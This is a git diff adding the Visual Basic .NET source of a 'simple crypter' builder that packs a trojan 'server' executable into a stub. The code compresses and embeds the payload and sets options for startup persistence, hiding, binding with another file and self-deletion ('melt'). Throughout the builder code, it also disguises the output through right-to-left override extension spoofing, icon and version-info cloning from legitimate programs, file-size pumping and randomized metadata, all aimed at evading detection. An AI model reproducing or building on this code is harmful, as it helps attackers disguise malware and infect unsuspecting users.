Dim sBuf As String + Dim i As Short + For i = 1 To lNum + sBuf = sBuf & Chr(0) + Next + GetNullBytes = sBuf + End Function + Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String) + Dim sFileBuf As String + Dim lFF As Integer + On Error Resume Next + If Dir(FilePath) = "" Then Exit Sub + lFF = FreeFile() + FileOpen(lFF, FilePath, OpenMode.Binary) + sFileBuf = Space(LOF(lFF)) + FileGet(lFF, sFileBuf) + FileClose(lFF) + Kill(FilePath) + lFF = FreeFile() + FileOpen(lFF, FilePath, OpenMode.Binary) + FilePut(lFF, sFileBuf & EOFData) + FileClose(lFF) + End Sub + 'random Letters + Public Function Randomisi(ByVal lenght As Integer) As String + Randomize() + Dim b() As Char + Dim s As New System.Text.StringBuilder("") + b = "你会讲英语中文吗这个字那个词在英语里是什么意思我想要个不允许吸烟的房间不劳动者不得食האםאתהדובראנגליתעבריתאנירוצהחדרללאעישוןבמהאתהעוסקלמחייתabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()1234567890ךابتثجحخدذرزسشصضطظعغفقكلمنهوي".ToCharArray() + For i As Integer = 1 To lenght + Randomize() + Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1 + s.Append(b(z)) + Next + Return s.ToString + End Function + 'random numbers + Public Function Randomisi2(ByVal lenght As Integer) As String + Randomize() + Dim b() As Char + Dim s As New System.Text.StringBuilder("") + b = "123456789".ToCharArray() + For i As Integer = 1 To lenght + Randomize() + Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1 + s.Append(b(z)) + Next + Return s.ToString + End Function + 'assemblley + Sub app() + On Error Resume Next + If File.Exists(Application.StartupPath & "\res.exe") Then + File.Delete(Application.StartupPath & "\res.exe") + End If + If File.Exists(Application.StartupPath & "\System.res") Then + File.Delete(Application.StartupPath & "\System.res") + End If + System.IO.File.WriteAllBytes(Application.StartupPath & "\res.exe", My.Resources.Res) + Dim src As String = My.Resources.String1 + If File.Exists(Application.StartupPath & "\System.exe") Then + File.Delete(Application.StartupPath & "\System.exe") + End If + Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0") + Dim Compiler As VBCodeProvider = New VBCodeProvider(Version) + Dim cResults As CompilerResults + Dim Settings As New CompilerParameters() + With Settings + .GenerateExecutable = True + .OutputAssembly = Application.StartupPath & "\System.exe" + .CompilerOptions = "/target:winexe" + .ReferencedAssemblies.Add("System.dll") + .ReferencedAssemblies.Add("System.Windows.Forms.dll") + .MainClass = "X" + End With + src = src.Replace("1", TextBox20.Text) + src = src.Replace("2", TextBox21.Text) + src = src.Replace("3", TextBox22.Text) + src = src.Replace("4", TextBox23.Text) + src = src.Replace("5", TextBox24.Text) + src = src.Replace("6", TextBox25.Text) + src = src.Replace("*version*", NumericUpDown20.Value.ToString & "." & NumericUpDown21.Value.ToString & "." & NumericUpDown22.Value.ToString & "." & NumericUpDown23.Value.ToString) + src = src.Replace("*fversion*", NumericUpDown24.Value.ToString & "." & NumericUpDown25.Value.ToString & "." & NumericUpDown26.Value.ToString & "." & NumericUpDown27.Value.ToString) + cResults = Compiler.CompileAssemblyFromSource(Settings, src) + If cResults.Errors.Count > 0 Then + For Each CompilerError In cResults.Errors + MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error) + Next + + File.Delete(Application.StartupPath & "\res.exe") + File.Delete(Application.StartupPath & "\res.log") + File.Delete(Application.StartupPath & "\res.ini") + File.Delete(Application.StartupPath & "\System.exe") + File.Delete(Application.StartupPath & "\System.res") + File.Delete(Application.StartupPath & "\System.exe") + File.Delete(Application.StartupPath & "\System.res") + File.Delete(Application.StartupPath & "\res.exe") + File.Delete(Application.StartupPath & "\res.log") + File.Delete(Application.StartupPath & "\res.ini") + File.Delete(Application.StartupPath & "\res.txt") + + MessageBox.Show("An error occurred. The assembly was not changed.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) + Exit Sub + End If + Dim otherfile As String = Application.StartupPath & "\System.exe" + Dim resfile As String = Application.StartupPath & "\System.res" + + Shell(System.AppDomain.CurrentDomain.BaseDirectory() & "res.exe -extract " & otherfile & "," & resfile & ",VERSIONINFO,,") + Shell(System.AppDomain.CurrentDomain.BaseDirectory() & "res.exe -delete " & FileDD.FileName & "," & System.AppDomain.CurrentDomain.BaseDirectory() + "res.exe" & ",VERSIONINFO,,") + Shell(System.AppDomain.CurrentDomain.BaseDirectory() & "res.exe -addoverwrite " & FileDD.FileName & "," & FileDD.FileName & "," & resfile & ",VERSIONINFO,1,") + + File.Delete(Application.StartupPath & "\System.exe") + File.Delete(Application.StartupPath & "\System.res") + File.Delete(Application.StartupPath & "\res.exe") + File.Delete(Application.StartupPath & "\res.log") + File.Delete(Application.StartupPath & "\res.ini") + File.Delete(Application.StartupPath & "\res.txt") + + End Sub + 'deleteresource + _ + Public Shared Function BeginUpdateResource( ByRef pFileName As String, ByVal bDeleteExistingResources As Integer) As Integer + End Function + _ + Public Shared Function EndUpdateResource(ByVal hUpdate As Integer, ByVal fDiscard As Integer) As Integer + End Function + Public Sub FlushIt(ByRef File As String) + Form1.EndUpdateResource(Form1.BeginUpdateResource(File, 1), 0) + End Sub + 'Clone + Public Function GetPath() As String + Return Path.GetTempPath + End Function + Private Sub clone(ByVal SourceFile As String, ByVal DestinationFiles As String) + My.Computer.FileSystem.WriteAllBytes((Me.GetPath & "res.exe"), My.Resources.Res, False) + Interaction.Shell(String.Concat(New String() {Me.GetPath, "\\res.exe -extract ", SourceFile, ",", Me.GetPath, "\\info.res,VERSIONINFO,,"}), AppWinStyle.MinimizedFocus, False, -1) + Interaction.Shell(String.Concat(New String() {Me.GetPath, "\\res.exe -delete ", DestinationFiles, ",", Me.GetPath, "\\res.exe,VERSIONINFO,,"}), AppWinStyle.MinimizedFocus, False, -1) + Interaction.Shell(String.Concat(New String() {Me.GetPath, "\\res.exe -addoverwrite ", DestinationFiles, ",", DestinationFiles, ",", Me.GetPath, "\\info.res,VERSIONINFO,1,"}), AppWinStyle.MinimizedFocus, False, -1) + End Sub + '''''compress & convert + Public Shared Function Compress(ByVal bytData() As Byte) As Byte() + Using oMS As New MemoryStream() + 'GZip object that compress the file + Using oGZipStream As New GZipStream(oMS, CompressionMode.Compress) + 'Write to the Stream object from the buffer + oGZipStream.Write(bytData, 0, bytData.Length) + oGZipStream.Close() + ReDim bytData(oMS.ToArray.Length - 1) + bytData = oMS.ToArray + End Using + oMS.Close() + End Using + Return bytData + End Function + ''تحويل من بايت لسترنج + Function BSs(ByVal bb As Byte()) As String + Return System.Text.Encoding.Default.GetString(bb) + End Function +#End Region + ''بدء التشفير + Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click + On Error Resume Next + If TextBox1.Text = "" Or TextBox1.Text = "[ Server To Protect Path ]" Then + Interaction.MsgBox("Choose File To Protect.!", MsgBoxStyle.Critical, "Basic CDC Protector") + Else + Timer4.Start() + End If + ProgressBar1.Value = 0 + End Sub + ''اختيار ملف السرفر + Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click + Dim FileDD As New OpenFileDialog + With FileDD + .Filter = "Application (*.exe) |*.exe" + .Title = "Select Server To Cryped | " + If .ShowDialog() = Windows.Forms.DialogResult.Cancel Then + Exit Sub + End If + End With + TextBox1.Text = FileDD.FileName + ''فحص لدعم الملف لخاصيه oef + TheEOF = ReadEOFData(FileDD.FileName) + If TheEOF = Nothing Then + Label1.Text = "EOF(Not Recommended)" + Label1.ForeColor = Color.Green + Else + Label1.Text = "EOF(Recommended)" + Label1.ForeColor = Color.Red + End If + End Sub + ''اختيار الملف المدمج كل الصيغ + Private Sub Button7_Click(sender As Object, e As EventArgs) Handles Button7.Click + Dim oo As New OpenFileDialog With {.Filter = "Add File (Any File [*.*] | *.*", .ShowHelp = True} + If oo.ShowDialog = vbOK Then + TextBox6.Text = oo.FileName + End If + End Sub + ''اختيار الايقونه + Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click + Dim o As New OpenFileDialog With {.Filter = "Icon Files (.ico)|*.ico", .ShowHelp = True} + If o.ShowDialog = vbOK Then + icotxt.Text = o.FileName + End If + PictureBox2.ImageLocation = c.FileName + c.FileName = icotxt.Text + End Sub + ''بدء توليد سترنجات وارقام لمعلومات الملف + Private Sub Button6_Click(sender As Object, e As EventArgs) Handles Button6.Click + If Button6.Text = "Gen" Or Button6.Text = "Start" Then + Timer3.Start() + Button6.Text = "Stop" + Else + Timer3.Stop() + Timer3.Stop() + Button6.Text = "Start" + End If + End Sub + ''''توليد سترنجات وارقام لمعلومات الملف + Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick + On Error Resume Next + TextBox20.Text = Randomisi(10) + TextBox21.Text = Randomisi(10) + TextBox22.Text = Randomisi(10) + TextBox23.Text = Randomisi(10) + TextBox24.Text = Randomisi(10) + TextBox25.Text = Randomisi(10) + NumericUpDown20.Value = Randomisi2(2) + NumericUpDown21.Value = Randomisi2(2) + NumericUpDown22.Value = Randomisi2(2) + NumericUpDown23.Value = Randomisi2(2) + NumericUpDown24.Value = Randomisi2(2) + NumericUpDown25.Value = Randomisi2(2) + NumericUpDown26.Value = Randomisi2(2) + NumericUpDown27.Value = Randomisi2(2) + End Sub + ''اختيار ملف لسحب معلوماته + Private Sub Button8_Click(sender As Object, e As EventArgs) Handles Button8.Click + With dd + .Filter = "Executable(*.exe) | *.exe" + .Title = "Choose Your File..." + .ShowDialog() + TextBox5.Text = dd.FileName + End With + End Sub + ''كل ما يخص التشفير وكتابه الخصائص + Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick + Timer4.Stop() + Try + If Not File.Exists((Application.StartupPath & "\stub.exe")) Then + Interaction.MsgBox("Stub Not Found", MsgBoxStyle.Critical, Nothing) + Else + Dim definition As AssemblyDefinition = AssemblyDefinition.ReadAssembly((Application.StartupPath & "\stub.exe")) + Dim definition2 As ModuleDefinition + For Each definition2 In definition.Modules + Dim definition3 As TypeDefinition + For Each definition3 In definition2.Types + Dim definition4 As MethodDefinition + For Each definition4 In definition3.Methods + If (definition4.IsConstructor AndAlso definition4.HasBody) Then + Dim enumerator As IEnumerator(Of Instruction) + Try + enumerator = definition4.Body.Instructions.GetEnumerator + Do While enumerator.MoveNext + Dim current As Instruction = enumerator.Current + If ((current.OpCode.Code = Code.Ldstr) And (Not current.Operand Is Nothing)) Then + Dim str As String = current.Operand.ToString + If CheckBox1.Checked = True Then + EOF_Data = ReadEOFData(TextBox1.Text) + End If + ProgressBar1.Value = 0 + ''تشفير السرفر + Dim bv As Byte() = Compress(System.IO.File.ReadAllBytes(TextBox1.Text)) 'compress + Dim sss As String = Convert.ToBase64String(bv) + + If (str = "[serverstring]") Then + current.Operand = sss + End If + ProgressBar1.Value = 10 + ''تفعيل او الغاءتفعيل نسخ السرفر + If copyser.Checked = True Then + If (str = "[Falsecopyserv]") Then + current.Operand = copyser.Checked.ToString + End If + If (str = "[%temp%]") Then + current.Operand = servpath.Text.ToString + End If + + If (str = "[copFolder]") Then + current.Operand = Randomisi(10) + End If + If (str = "[copynam]") Then + current.Operand = TextBox2.Text + End If + End If + ProgressBar1.Value = 20 + ''تفعيل او الغاءتفعيل تثبيت السرفر + If CheckBox7.Checked = True Then + If (str = "[startupfalse]") Then + current.Operand = CheckBox7.Checked.ToString + End If + If (str = "[serregname]") Then + current.Operand = TextBox7.Text + End If + End If + ''تفعيل او الغاء تفعيل اضافه ناخير لعمل السرفر + If CheckBox11.Checked = True Then + If (str = "[falsesrvsleep]") Then + current.Operand = CheckBox11.Checked.ToString + End If + If (str = "[srvsleeptime]") Then + current.Operand = TextBox4.Text + End If + End If + ProgressBar1.Value = 30 + ''تفعيل او الغاء تفعيل دمج ملف + If CheckBox1.Checked = True Then + If (str = "[falsebind]") Then + current.Operand = CheckBox1.Checked.ToString + End If + If (str = "[bindedstring]") Then + Dim aaaaa As String = BSs(Compress(System.IO.File.ReadAllBytes(TextBox6.Text))) + current.Operand = aaaaa + End If + If (str = "[bindtemp]") Then + current.Operand = bindpath.Text.ToString + End If + If (str = "[bindname]") Then + current.Operand = TextBox8.Text + End If + End If + ''تفعيل او الغاء تفعيل اضافه ناخير لتشغيل الملف المدمج + If CheckBox14.Checked = True Then + If (str = "[falsebndleep]") Then + current.Operand = CheckBox14.Checked.ToString + End If + If (str = "[bndsleeptime]") Then + current.Operand = TextBox3.Text + End If + End If + ProgressBar1.Value = 40 + ''تفعيل او الغاءتفعيل حظر المواقع + If CheckBox5.Checked = True Then + If (str = "[falseblock]") Then + current.Operand = CheckBox5.Checked.ToString + End If + End If + ProgressBar1.Value = 50 + ''تفعيل او الغاءتفعيل اخفاء الاذابه + If CheckBox3.Checked = True Then + If (str = "[falsemelt]") Then + current.Operand = CheckBox3.Checked.ToString + End If + End If + ProgressBar1.Value = 60 + ''تفعيل او الغاءتفعيل اخفاء الملف + If CheckBox2.Checked = True Then + If (str = "[falsehide]") Then + current.Operand = CheckBox2.Checked.ToString + End If + End If + ProgressBar1.Value = 70 + End If + Loop + Finally + End Try + End If + Next + Next + Next + With dialog + .Filter = "EXE Applications (*.exe)|*.exe" + .FileName = "Server.exe" + .ShowHelp = True + End With + If dialog.ShowDialog = vbOK Then + definition.Write(dialog.FileName) + ProgressBar1.Value = 75 + ''كتابه oef للسرفرات التى تدعمها + If CheckBox1.Checked = True Then + WriteEOFData(FileDD.FileName, EOF_Data) + End If + ProgressBar1.Value = 80 + ''تغيير الايقونه + If CheckBox4.Checked = True Then + If icotxt.Text = "" Or icotxt.Text = "[ Icon To Change Path ]" Then + Interaction.MsgBox("Choose Icon To Change Or Unckeck Enable Icon Changer .!", MsgBoxStyle.Critical, "Basic CDC Protector") + Else + IconInjector.InjectIcon(FileDD.FileName, c.FileName) + End If + End If + ProgressBar1.Value = 85 + '' + If CheckBox9.Checked = True Then + app() + End If + ProgressBar1.Value = 90 + ''زياده البايتات + If CheckBox10.Checked = True Then + Dim filesize As Double = Val(NumericUpDown1.Value) + If RadioButton1.Checked Then + filesize = filesize * 1024 + End If + If RadioButton2.Checked Then + filesize = filesize * 1048576 + End If + If RadioButton3.Checked Then + filesize = filesize * 1073741824 + End If + If RadioButton4.Checked Then + filesize = filesize * 1099511627776 + End If + Dim filetopump = IO.File.OpenWrite(FileDD.FileName) + Dim size = filetopump.Seek(0, IO.SeekOrigin.[End]) + While size < filesize + filetopump.WriteByte(0) + size += 1 + End While + filetopump.Close() + End If + ProgressBar1.Value = 95 + ''نغيير الصيغه + If CheckBox8.Checked = True Then + Dim str3 As String = Strings.StrReverse(Me.spoofbox.Text) + Dim str5 As String = FileDD.FileName.Replace(".exe", "") + Dim newPath As String = (str5 & ChrW(8238) & str3 & ".exe") + FileSystem.Rename(FileDD.FileName, newPath) + + End If + ''حذف الريسورس من السرفر + If CheckBox6.Checked = True Then + Me.FlushIt(FileDD.FileName) + End If + ''سحب معلومات ملف واضافتها للسرفر + If CheckBox12.Checked = True Then + + If TextBox5.Text = "" Or TextBox5.Text = "[ File To Clone Info Path ]" Then + + Interaction.MsgBox("Choose File To Clone Info Or Unckeck Enable Cloner .!", MsgBoxStyle.Critical, "Basic CDC Protector") + Else + clone(dd.FileName, FileDD.FileName) + End If + End If + Threading.Thread.Sleep(1000) + ProgressBar1.Value = 100 + ''حذف الملفات الخاصه بتغيير معلوات الاسمبلى + File.Delete(Application.StartupPath & "\System.exe") + File.Delete(Application.StartupPath & "\System.res") + File.Delete(Application.StartupPath & "\res.exe") + File.Delete(Application.StartupPath & "\res.log") + File.Delete(Application.StartupPath & "\res.ini") + File.Delete(Application.StartupPath & "\res.txt") + File.Delete(Application.StartupPath & "\System.exe") + File.Delete(Application.StartupPath & "\System.res") + File.Delete(Application.StartupPath & "\res.exe") + File.Delete(Application.StartupPath & "\res.log") + File.Delete(Application.StartupPath & "\res.ini") + File.Delete(Application.StartupPath & "\res.txt") + MsgBox("Your Server Has been Crypted as :" & vbNewLine & dialog.FileName, vbInformation, "DONE!") + End If + End If + Catch : End Try + ProgressBar1.Value = 0 + End Sub +End Class +''كلاس تغيير الايقونه +Public Class IconInjector + _ + Private Class NativeMethods + _ + Public Shared Function BeginUpdateResource( _ + ByVal fileName As String, _ + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + _ + Public Shared Function UpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal type As IntPtr, _ + ByVal name As IntPtr, _ + ByVal language As Short, _ + _ + ByVal data() As Byte, _ + ByVal dataSize As Integer) As Boolean + End Function + _ + Public Shared Function EndUpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal discard As Boolean) As Boolean + End Function + End Class + _ + Private Structure ICONDIR + Public Reserved As UShort + Public Type As UShort + Public Count As UShort + End Structure + _ + Private Structure ICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ImageOffset As Integer + End Structure + _ + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + _ + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON = 3UI + Const RT_GROUP_ICON = 14UI + Dim iconFile As IconFile = iconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i As Integer = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + Private Class IconFile + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + Public ReadOnly Property ImageCount As Integer + Get + Return iconDir.Count + End Get + End Property + Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() + Get + Return iconImage(index) + End Get + End Property + Private Sub New() + End Sub + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + Dim offset = Marshal.SizeOf(instance.iconDir) + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i As Integer = 0 To instance.iconDir.Count - 1 + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i As Integer = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + End Class +End Class \ No newline at end of file diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Application.Designer.vb b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Application.Designer.vb new file mode 100644 index 0000000..78646bc --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18449 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Builder.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Application.myapp b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/AssemblyInfo.vb b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..9dfbac5 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Resources.Designer.vb b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Resources.Designer.vb new file mode 100644 index 0000000..bd47abd --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Resources.Designer.vb @@ -0,0 +1,130 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18449 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Builder.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property res() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("res", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Looks up a localized string similar to [MRU List] + '''MRU1=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources\Res.exe + '''MRU2= + '''MRU3= + '''MRU4= + ''' + '''[Setup] + '''left=235 + '''top=248 + '''width=681 + '''height=367 + '''MaximizedState=0 + '''vsplit=200 + '''LastOpenedDir=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources + '''LastSavedDir= + ''' + '''[Font] + '''Name=Courier New + '''Size=10 + '''CharSet=1 + '''Color=-2147483640 + '''Style=0 + ''' + '''. + ''' + Friend ReadOnly Property Res1() As String + Get + Return ResourceManager.GetString("Res1", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Imports System.Windows.Forms + '''Imports System.Reflection + ''' + '''<Assembly: AssemblyTitle("1")> + '''<Assembly: AssemblyDescription("2")> + '''<Assembly: AssemblyCompany("3")> + '''<Assembly: AssemblyProduct("4")> + '''<Assembly: AssemblyCopyright("Copyright © 2014 " & " 5")> + '''<Assembly: AssemblyTrademark("6")> + '''<Assembly: AssemblyVersion("*version*")> + '''<Assembly: AssemblyFileVersion("*fversion*")> + ''' + '''Module X + ''' Sub Main() + ''' MessageBox.Show("", "", MessageBoxButtons.OK, MessageBoxIcon.Error) + ''' End Sub + '''End Mod [rest of string was truncated]";. + ''' + Friend ReadOnly Property String1() As String + Get + Return ResourceManager.GetString("String1", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Resources.resx b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Resources.resx new file mode 100644 index 0000000..c45f4ea --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Resources.resx @@ -0,0 +1,146 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\res.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\Res.ini;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;windows-1256 + + + Imports System.Windows.Forms +Imports System.Reflection + +<Assembly: AssemblyTitle("1")> +<Assembly: AssemblyDescription("2")> +<Assembly: AssemblyCompany("3")> +<Assembly: AssemblyProduct("4")> +<Assembly: AssemblyCopyright("Copyright © 2014 " & " 5")> +<Assembly: AssemblyTrademark("6")> +<Assembly: AssemblyVersion("*version*")> +<Assembly: AssemblyFileVersion("*fversion*")> + +Module X + Sub Main() + MessageBox.Show("", "", MessageBoxButtons.OK, MessageBoxIcon.Error) + End Sub +End Module + + \ No newline at end of file diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Settings.Designer.vb b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Settings.Designer.vb new file mode 100644 index 0000000..77dec22 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18449 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()), MySettings) + 